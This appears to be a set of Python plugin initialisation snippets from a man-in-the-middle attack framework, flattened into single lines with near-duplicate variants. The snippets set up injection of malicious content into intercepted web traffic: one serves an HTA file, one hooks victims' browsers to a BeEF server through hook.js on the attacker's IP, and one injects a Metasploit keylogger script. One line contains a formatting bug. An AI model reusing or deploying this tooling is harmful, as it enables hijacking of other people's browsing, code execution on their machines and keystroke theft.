def initialize(self, options): self.bar_text = options.text self.ip = options.ip self.hta = options.hta_app.split('/')[-1] Inject.initialize(self, options) self.html_payload = self.get_payload() from core.servers.HTTP import HTTP HTTP.add_static_endpoint(self.hta, "application/hta", options.hta_app)
def initialize(self, options): self.bar_text = options.text self.ip = options.ip Inject.initialize(self, options) self.html_payload = self.get_payload() from core.servers.http.HTTPserver import HTTPserver def hta_request(path): if path == options.hta_app.split('/')[-1]: with open(options.hta_app) as hta_file: resp = flask.Response(hta_file.read()) resp.headers['Content-Type'] = "application/hta" return resp HTTPserver().add_endpoint(hta_request)
def initialize(self, options): self.options = options self.ip_address = options.ip beefconfig = self.config['MITMf']['BeEF'] Inject.initialize(self, options) self.js_url = 'http://{}:{}/hook.js'.format(options.ip , ['port']) beefconfig = self.config['MITMf']['BeEF'] from core.utils import shutdown beef = BeefAPI({"host": beefconfig['host'], "port": beefconfig['port']}) if not beef.login(beefconfig['user'], beefconfig['pass']): shutdown("[BeEFAutorun] Error logging in to BeEF!") self.tree_info.append('Starting RuleWatcher') RuleWatcher(beef, self.log).start()
def initialize(self, options): self.options = options self.ip_address = options.ip beefconfig = self.config["MITMf"]["BeEF"] Inject.initialize(self, options) self.js_url = "http://{}:{}/hook.js".format(options.ip, ["port"]) beefconfig = self.config["MITMf"]["BeEF"] from core.utils import shutdown beef = BeefAPI({"host": beefconfig["host"], "port": beefconfig["port"]}) if not beef.login(beefconfig["user"], beefconfig["pass"]): shutdown("[BeEFAutorun] Error logging in to BeEF!") self.tree_info.append("Starting RuleWatcher") RuleWatcher(beef, self.log).start()
def initialize(self, options): Inject.initialize(self, options) self.js_file = "./core/javascript/msfkeylogger.js"
def initialize(self, options): self.ip = options.ip Inject.initialize(self, options) self.html_payload = self._get_data()
def initialize(self, options): Inject.initialize(self, options) self.interval = options.interval self.js_payload = self.get_payload()
def initialize(self, options): Inject.initialize(self, options) self.js_file = "./core/javascript/plugindetect.js" self.output = {} # so other plugins can access the results